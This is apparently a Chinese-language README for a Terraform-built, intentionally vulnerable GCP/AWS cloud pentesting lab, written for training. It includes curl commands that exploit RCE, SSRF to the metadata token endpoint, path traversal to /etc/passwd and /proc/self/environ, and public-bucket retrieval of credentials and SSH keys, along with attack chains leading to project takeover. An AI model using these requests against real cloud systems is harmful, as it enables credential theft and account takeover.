anpa1200/vulnerable-cloud-lab

GitHub: anpa1200/vulnerable-cloud-lab

基于 Terraform 一键部署的故意存在漏洞的 GCP/AWS 云环境靶场,用于云渗透测试和安全攻防演练。

Stars: 0 | Forks: 0

# 存在漏洞的云实验环境 (GCP + AWS) 这是一个使用 Terraform 全自动部署的、刻意配置不当的云环境,用于练习云渗透测试、安全评估和红蓝对抗演练。 该仓库支持通过交互式向导在 **Google Cloud Platform (GCP)** 和 **Amazon Web Services (AWS)** 上进行部署。 基于以下文章:[*使用 Terraform 构建存在漏洞的云渗透测试实验环境*](https://medium.com/@1200km/building-a-vulnerable-cloud-pentest-lab-with-terraform-9858ac96b29e)。 ## 代码仓库 - 仓库:https://github.com/anpa1200/vulnerable-cloud-lab - 作者:https://github.com/anpa1200 ## 攻击面概述 | 资源 | 漏洞 | 影响 | |---|---|---| | **DVWA Web 服务器** | SSH 开放 (0.0.0.0/0),元数据中包含 SA 密钥 | 初始访问权限 | | **Cloud Function** | SSRF、RCE (`?cmd=`)、env dump、路径穿越 | 实例全面沦陷 | | **Cloud Run** | 环境变量中硬编码数据库凭据,无身份验证 | 凭据窃取 | | **存储桶** | 公开可读,凭据 + 私钥暴露 | 敏感信息窃取 | | **服务账号** | `roles/owner` + 多个管理员角色 | 完全接管项目 | | **数据库服务器** | 无公网 IP,MySQL 绑定至 0.0.0.0 | 横向移动目标 | | **Secret Manager** | 作为 secret 暴露的 SA 密钥 | 权限提升 | | **防火墙** | 所有实例的 SSH 对互联网开放 | 暴力破解 / 密钥重用 | ## 前置条件 - [Terraform](https://developer.hashicorp.com/terraform/downloads) >= 1.0 - [Google Cloud SDK](https://cloud.google.com/sdk/docs/install) (`gcloud`) - 一个已启用结算功能的 GCP 项目(建议使用专用、隔离的项目) - 以下 API 将被自动启用: - Compute Engine、Cloud Functions、Cloud Run、Cloud Storage - Secret Manager、IAM、Cloud Resource Manager、Cloud Build ## 快速开始 ``` # 克隆 repository git clone https://github.com/anpa1200/vulnerable-cloud-lab.git cd vulnerable-cloud-lab # 部署(交互式向导 — 选择 GCP 或 AWS) bash scripts/deploy.sh # 验证所有 vulnerabilities 可达 bash scripts/verify.sh # 完成后 — 销毁所有内容 bash scripts/cleanup.sh ``` ## 手动部署 ``` cd terraform # 复制并编辑 variables cp terraform.tfvars.example terraform.tfvars # 使用您的 GCP project ID 编辑 terraform.tfvars # 认证 gcloud auth login gcloud auth application-default login # 部署 make init make plan make apply # 查看 attack surface 摘要 make output ``` ### Makefile 目标 | 目标 | 描述 | |---|---| | `make init` | `terraform init` | | `make plan` | 创建并保存执行计划 | | `make apply` | 应用已保存的计划 | | `make apply-auto` | 无需确认直接应用 | | `make destroy` | 销毁所有资源 | | `make output` | 打印实验环境攻击面摘要 | | `make web-ip` | 打印 Web 服务器的公网 IP | | `make function-url` | 打印 Cloud Function URL | | `make run-url` | 打印 Cloud Run URL | | `make bucket` | 打印存在漏洞的存储桶名称 | ## 漏洞详情 ### 1. Cloud Function — SSRF / RCE / Env Dump / 路径穿越 Cloud Function(`?` 端点)暴露了多个严重漏洞: ``` FUNC_URL=$(cd terraform && terraform output -raw cloud_function_url) # Remote Code Execution curl "${FUNC_URL}?cmd=id" curl "${FUNC_URL}?cmd=cat+/etc/passwd" # SSRF — 访问 GCP metadata service curl "${FUNC_URL}?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" # 转储所有 environment variables curl "${FUNC_URL}?env=1" # 从 env 中读取特定 secret curl "${FUNC_URL}?secret=SECRET_KEY" # Path traversal curl "${FUNC_URL}?file=/etc/passwd" curl "${FUNC_URL}?file=/proc/self/environ" ``` ### 2. 公开存储桶 — 凭据暴露 ``` BUCKET=$(cd terraform && terraform output -raw vulnerable_bucket_name) # 读取数据库 credentials curl "https://storage.googleapis.com/${BUCKET}/secrets/database-credentials.json" # 下载暴露的 private SSH key curl "https://storage.googleapis.com/${BUCKET}/keys/id_rsa" # 列出所有 objects (public) gsutil ls "gs://${BUCKET}/" ``` ### 3. DVWA Web 服务器 DVWA (Damn Vulnerable Web Application) 已预装并可通过以下地址访问: ``` http:/// Credentials: admin / password ``` 服务账号密钥也被嵌入在实例元数据中: ``` # 从受损 instance 内部或通过 SSRF curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/sa-key" \ -H "Metadata-Flavor: Google" ``` ### 4. 过度授权的服务账号 Web 服务器运行所使用的服务账号拥有 `roles/owner` 以及其他额外的管理员角色。获取这些凭据(通过元数据 SSRF、公开的存储桶或 Secret Manager)即可获得项目的完全控制权。 ``` # 获取 sa-key.json 之后: gcloud auth activate-service-account --key-file=sa-key.json gcloud projects get-iam-policy gcloud compute instances list ``` ### 5. Cloud Run — 硬编码凭据 Cloud Run 服务通过环境变量暴露了硬编码的数据库凭据,这些信息可以通过 `/env` 端点或读取服务配置查看到。 ## 攻击链 ### 攻击链 1:SSRF → 元数据 → 接管项目 1. 访问 Cloud Function 的 SSRF 端点 2. 从元数据服务器获取服务账号 token 3. 使用该 token 调用 GCP API 并枚举资源 4. 利用过度授权的 SA 将权限提升至项目的完全控制权 ### 攻击链 2:公开存储桶 → SA 密钥 → 完全访问权限 1. 列出公开 GCS 存储桶中的对象 2. 下载 `secrets/database-credentials.json` 和 `keys/id_rsa` 3. 使用 `gcloud auth activate-service-account` 激活服务账号密钥 4. 枚举并利用所有项目资源 ### 攻击链 3:RCE → 横向移动 → 数据库 1. 利用 Cloud Function 中的 `?cmd=` RCE 端点 2. 从环境变量中提取凭据 3. 利用内部连通性,通过私有子网访问数据库服务器 ## 测试 ### 配置测试(无需 GCP) ``` pip install pytest pytest tests/test_terraform_config.py -v ``` ### 部署后漏洞测试 ``` # 部署此 lab 之后: cd terraform pytest ../tests/test_vulnerabilities.py -v ``` ## 仓库结构 ``` . ├── terraform/ │ ├── providers.tf # Provider versions and configuration │ ├── variables.tf # Input variables │ ├── main.tf # All GCP resources (~350 lines) │ ├── outputs.tf # Outputs including lab_summary │ ├── terraform.tfvars.example │ ├── Makefile # Convenience targets │ └── function_code/ │ ├── main.py # Vulnerable Cloud Function (SSRF/RCE/etc.) │ └── requirements.txt ├── tests/ │ ├── test_terraform_config.py # Config validation (no GCP needed) │ └── test_vulnerabilities.py # Live exploit verification tests ├── scripts/ │ ├── deploy.sh # One-command deployment │ ├── verify.sh # Post-deploy vulnerability checks │ └── cleanup.sh # Safe teardown └── README.md ``` ## 成本估算 完整运行该实验环境一天的成本: | 资源 | 预估成本 | |---|---| | 2× e2-medium 计算实例 | ~$1.00/天 | | Cloud Run(极低流量) | ~$0.00 | | Cloud Functions(极少调用) | ~$0.00 | | Cloud Storage(< 1 MB) | ~$0.00 | | **总计** | **~$1–2/天** | 测试结束后,请务必运行 `bash scripts/cleanup.sh` 以避免持续产生费用。 ## 清理 ``` # 引导式清理(推荐) bash scripts/cleanup.sh # 直接执行 Terraform destroy cd terraform && terraform destroy -auto-approve ``` ## 免责声明 该实验环境仅供**教育目的**。此处包含的故意设置的漏洞绝不应部署在生产环境或不属于您的系统中。使用此仓库即表示您同意仅将其用于授权的安全培训、研究和 CTF/实验场景。 作者对任何滥用行为不承担任何责任。 ## 1200km 生态系统 本项目是 1200km 安全研究生态系统的一部分。请使用 [AdversaryGraph](https://1200km.com/adversarygraph/) 进行 CTI 到检测的工作流转换、ATT&CK/ATLAS 映射、攻击者关联分析、IOC 丰富化以及分析师级别的报告生成。 - [AdversaryGraph 项目主页](https://1200km.com/adversarygraph/) - [AdversaryGraph 文档](https://1200km.com/adversarygraph-docs/) - [实时 ATT&CK/ATLAS 工作区](https://1200km.com/threat-matrix/) - [1200km 安全研究生态系统](https://1200km.com/)
标签:AWS, DPI, ECS, GCP, StruQ, Terraform, XXE攻击, 安全靶场, 应用安全, 漏洞利用检测, 逆向工具